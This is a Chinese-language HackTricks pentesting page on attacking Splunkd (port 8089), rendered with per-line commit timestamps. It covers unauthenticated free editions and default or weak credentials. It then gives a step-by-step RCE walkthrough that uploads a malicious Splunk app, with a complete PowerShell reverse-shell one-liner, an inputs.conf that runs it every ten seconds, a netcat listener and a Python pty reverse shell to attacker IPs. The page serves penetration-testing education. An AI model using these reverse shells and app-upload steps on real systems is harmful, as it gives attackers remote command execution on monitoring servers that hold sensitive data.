2024-02-09 12:48:25 +00:00
# 8089 - 渗透测试 Splunkd
2022-04-28 16:01:33 +00:00
< details >
2024-02-09 12:48:25 +00:00
< summary > < strong > 从零开始学习 AWS 黑客技术,成为专家< / strong > < a href = "https://training.hacktricks.xyz/courses/arte" > < strong > htARTE( HackTricks AWS 红队专家)< / strong > < / a > < strong > ! < / strong > < / summary >
2022-04-28 16:01:33 +00:00
2024-02-09 12:48:25 +00:00
支持 HackTricks 的其他方式:
2024-05-05 22:03:00 +00:00
* 如果您想看到您的**公司在 HackTricks 中做广告**或**下载 PDF 版的 HackTricks**,请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
2024-02-09 12:48:25 +00:00
* 获取[**官方 PEASS & HackTricks 商品**](https://peass.creator-spring.com)
* 探索[**PEASS 家族**](https://opensea.io/collection/the-peass-family),我们的独家[**NFTs**](https://opensea.io/collection/the-peass-family)
2024-05-05 22:03:00 +00:00
* **加入** 💬 [**Discord 群组** ](https://discord.gg/hRep4RUj7f ) 或 [**电报群组** ](https://t.me/peass ) 或在 **Twitter** 上关注我们 🐦 [**@carlospolopm** ](https://twitter.com/hacktricks\_live )**。**
2024-02-09 12:48:25 +00:00
* 通过向 [**HackTricks** ](https://github.com/carlospolop/hacktricks ) 和 [**HackTricks Cloud** ](https://github.com/carlospolop/hacktricks-cloud ) github 仓库提交 PR 来分享您的黑客技巧。
2022-04-28 16:01:33 +00:00
2022-10-03 00:11:21 +00:00
< / details >
2022-04-28 16:01:33 +00:00
2023-08-03 19:12:22 +00:00
## **基本信息**
2022-04-28 16:01:33 +00:00
2024-05-05 22:03:00 +00:00
Splunk 是一个**日志分析工具**,在**收集、分析和可视化数据**方面发挥着关键作用。虽然它最初的目的不是作为**SIEM( 安全信息和事件管理) **工具,但在**安全监控**和**业务分析**领域中变得越来越受欢迎。
2020-11-06 00:32:50 +00:00
2024-05-05 22:03:00 +00:00
Splunk 部署经常用于存储**敏感数据**,如果攻击者成功地 compromise 系统,它可以作为潜在攻击者的**宝贵信息来源**。**默认端口: 8089**
2021-10-18 11:21:18 +00:00
```
2020-11-06 00:32:50 +00:00
PORT STATE SERVICE VERSION
8089/tcp open http Splunkd httpd
```
2022-10-03 00:11:21 +00:00
{% hint style="info" %}
2024-05-05 22:03:00 +00:00
**Splunk Web服务器默认在端口8000上运行**。
2022-10-03 00:11:21 +00:00
{% endhint %}
2020-11-06 00:32:50 +00:00
2023-08-03 19:12:22 +00:00
## 枚举
2022-10-03 00:11:21 +00:00
2023-08-03 19:12:22 +00:00
### 免费版本
2022-10-03 00:11:21 +00:00
2024-05-05 22:03:00 +00:00
Splunk Enterprise试用版在**60天后转换为免费版本**, **无需身份验证**。系统管理员经常安装Splunk试用版进行测试, **随后被遗忘**。这将自动转换为没有任何形式身份验证的免费版本,在环境中引入了安全漏洞。一些组织可能由于预算限制而选择免费版本,却没有完全理解没有用户/角色管理的影响。
2022-10-03 00:11:21 +00:00
2023-08-03 19:12:22 +00:00
### 默认凭据
2022-10-03 00:11:21 +00:00
2024-05-05 22:03:00 +00:00
在旧版本的Splunk中, 默认凭据为**`admin:changeme`**,方便地显示在登录页面上。\
然而,**最新版本的Splunk**在**安装过程中设置凭据**。如果默认凭据不起作用,值得检查常见弱密码,如`admin`, `Welcome`, `Welcome1`, `Password123`等。
2022-10-03 00:11:21 +00:00
2023-08-03 19:12:22 +00:00
### 获取信息
2022-10-03 00:11:21 +00:00
2024-05-05 22:03:00 +00:00
登录到Splunk后, 我们可以**浏览数据**,运行**报告**,创建**仪表板**, 从Splunkbase库中**安装应用程序**,以及安装自定义应用程序。\
您还可以运行代码: Splunk有多种**运行代码**的方式, 如服务器端Django应用程序, REST端点, 脚本输入和警报脚本。在Splunk服务器上获得远程代码执行的常见方法是通过脚本输入。
2022-10-03 00:11:21 +00:00
2024-05-05 22:03:00 +00:00
此外, 由于Splunk可以安装在Windows或Linux主机上, 可以创建脚本输入来运行Bash、PowerShell或批处理脚本。
2020-11-06 00:32:50 +00:00
2022-05-01 13:25:53 +00:00
### Shodan
2020-11-06 00:32:50 +00:00
2024-05-05 22:03:00 +00:00
* `Splunk构建`
2022-04-28 16:01:33 +00:00
2022-10-03 00:11:21 +00:00
## RCE
2022-04-28 16:01:33 +00:00
2023-08-03 19:12:22 +00:00
### 创建自定义应用程序
2022-04-28 16:01:33 +00:00
2024-05-05 22:03:00 +00:00
自定义应用程序可以运行**Python, 批处理, Bash或PowerShell脚本**。\
请注意,**Splunk已安装Python**,因此即使在**Windows**系统中, 您也可以运行Python代码。
2022-04-28 16:01:33 +00:00
2024-05-05 22:03:00 +00:00
您可以使用[**此**](https://github.com/0xjpuff/reverse\_shell\_splunk) Splunk软件包来协助我们。此存储库中的**`bin`**目录有[Python](https://github.com/0xjpuff/reverse\_shell\_splunk/blob/master/reverse\_shell\_splunk/bin/rev.py)和[PowerShell](https://github.com/0xjpuff/reverse\_shell\_splunk/blob/master/reverse\_shell\_splunk/bin/run.ps1)的示例。让我们逐步进行。
2022-10-03 00:11:21 +00:00
2024-05-05 22:03:00 +00:00
要实现这一点, 我们首先需要使用以下目录结构创建自定义Splunk应用程序:
2022-10-03 00:11:21 +00:00
```shell-session
tree splunk_shell/
splunk_shell/
├── bin
└── default
```
2024-02-09 12:48:25 +00:00
**`bin`**目录将包含我们打算运行的任何脚本(在本例中是一个**PowerShell**反向shell) , 默认目录将有我们的`inputs.conf`文件。我们的反向shell将是一个**PowerShell一行命令: **
2022-10-03 00:11:21 +00:00
```powershell
$client = New-Object System.Net.Sockets.TCPClient('10.10.10.10',443);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>& 1 | Out-String );$sendback2 = $sendback + 'PS ' + (pwd).Path + '> ';$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close(
```
2024-05-05 22:03:00 +00:00
[inputs.conf ](https://docs.splunk.com/Documentation/Splunk/latest/Admin/Inputsconf ) 文件告诉 Splunk **要运行哪个脚本** 以及任何其他条件。在这里,我们将应用设置为启用,并告诉 Splunk 每隔 10 秒运行一次脚本。间隔始终以秒为单位,只有在存在此设置时,输入(脚本)才会运行。
2022-10-03 00:11:21 +00:00
```shell-session
2023-08-03 19:12:22 +00:00
cat inputs.conf
2022-10-03 00:11:21 +00:00
[script://./bin/rev.py]
2023-08-03 19:12:22 +00:00
disabled = 0
interval = 10
sourcetype = shell
2022-10-03 00:11:21 +00:00
[script://.\bin\run.bat]
disabled = 0
sourcetype = shell
interval = 10
```
2024-02-09 12:48:25 +00:00
我们需要`.bat`文件, 在部署应用程序时运行并执行PowerShell一行命令。
2022-10-03 00:11:21 +00:00
2024-02-09 12:48:25 +00:00
下一步是选择`从文件安装应用程序`并上传应用程序。
2022-10-03 00:11:21 +00:00
2024-05-05 22:03:00 +00:00
< figure > < img src = "../.gitbook/assets/image (668).png" alt = "" > < figcaption > < / figcaption > < / figure >
2022-10-03 00:11:21 +00:00
2024-02-09 12:48:25 +00:00
在上传恶意自定义应用程序之前, 让我们使用Netcat或[socat](https://linux.die.net/man/1/socat)启动一个监听器。
2022-10-03 00:11:21 +00:00
```shell-session
sudo nc -lnvp 443
listening on [any] 443 ...
```
2024-05-05 22:03:00 +00:00
在`上传应用程序`页面, 点击浏览, 选择我们之前创建的tarball, 然后点击`上传`。一旦我们上传应用程序,应用程序的状态将自动切换为`已启用`, 并且我们将收到一个反向shell。
2022-10-03 00:11:21 +00:00
#### Linux
2024-02-09 12:48:25 +00:00
如果我们在处理Linux主机, 我们需要在创建tarball并上传自定义恶意应用程序之前编辑`rev.py` Python脚本。其余流程将保持不变, 我们将在Netcat监听器上收到一个反向shell连接, 然后就可以开始操作了。
2022-10-03 00:11:21 +00:00
```python
import sys,socket,os,pty
ip="10.10.14.15"
port="443"
s=socket.socket()
s.connect((ip,int(port)))
[os.dup2(s.fileno(),fd) for fd in (0,1,2)]
pty.spawn('/bin/bash')
```
2024-02-09 12:48:25 +00:00
### 远程代码执行 & 提权
2022-10-03 00:11:21 +00:00
2024-05-05 22:03:00 +00:00
在以下页面中,您可以找到关于如何滥用此服务以提升权限并获取持久性的解释:
2022-10-03 00:11:21 +00:00
{% content-ref url="../linux-hardening/privilege-escalation/splunk-lpe-and-persistence.md" %}
[splunk-lpe-and-persistence.md ](../linux-hardening/privilege-escalation/splunk-lpe-and-persistence.md )
{% endcontent-ref %}
2023-08-03 19:12:22 +00:00
## 参考资料
2022-10-03 00:11:21 +00:00
* [https://academy.hackthebox.com/module/113/section/1213 ](https://academy.hackthebox.com/module/113/section/1213 )
< details >
2024-05-05 22:03:00 +00:00
< summary > < strong > 从零开始学习AWS黑客技术, 成为专家< / strong > < a href = "https://training.hacktricks.xyz/courses/arte" > < strong > htARTE (HackTricks AWS Red Team Expert)< / strong > < / a > < strong > ! < / strong > < / summary >
2024-02-09 12:48:25 +00:00
2024-05-05 22:03:00 +00:00
支持 HackTricks 的其他方式:
2022-04-28 16:01:33 +00:00
2024-05-05 22:03:00 +00:00
* 如果您想看到您的**公司在 HackTricks 中被广告**或**下载 HackTricks 的 PDF**,请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
* 获取[**官方 PEASS & HackTricks 商品**](https://peass.creator-spring.com)
* 探索[**PEASS 家族**](https://opensea.io/collection/the-peass-family),我们的独家[**NFTs**](https://opensea.io/collection/the-peass-family)
* **加入** 💬 [**Discord 群组** ](https://discord.gg/hRep4RUj7f ) 或 [**电报群组** ](https://t.me/peass ) 或 **关注**我们的**Twitter** 🐦 [**@carlospolopm** ](https://twitter.com/hacktricks\_live )**。**
* 通过向 [**HackTricks** ](https://github.com/carlospolop/hacktricks ) 和 [**HackTricks Cloud** ](https://github.com/carlospolop/hacktricks-cloud ) github 仓库提交 PR 来**分享您的黑客技巧**。
2022-04-28 16:01:33 +00:00
< / details >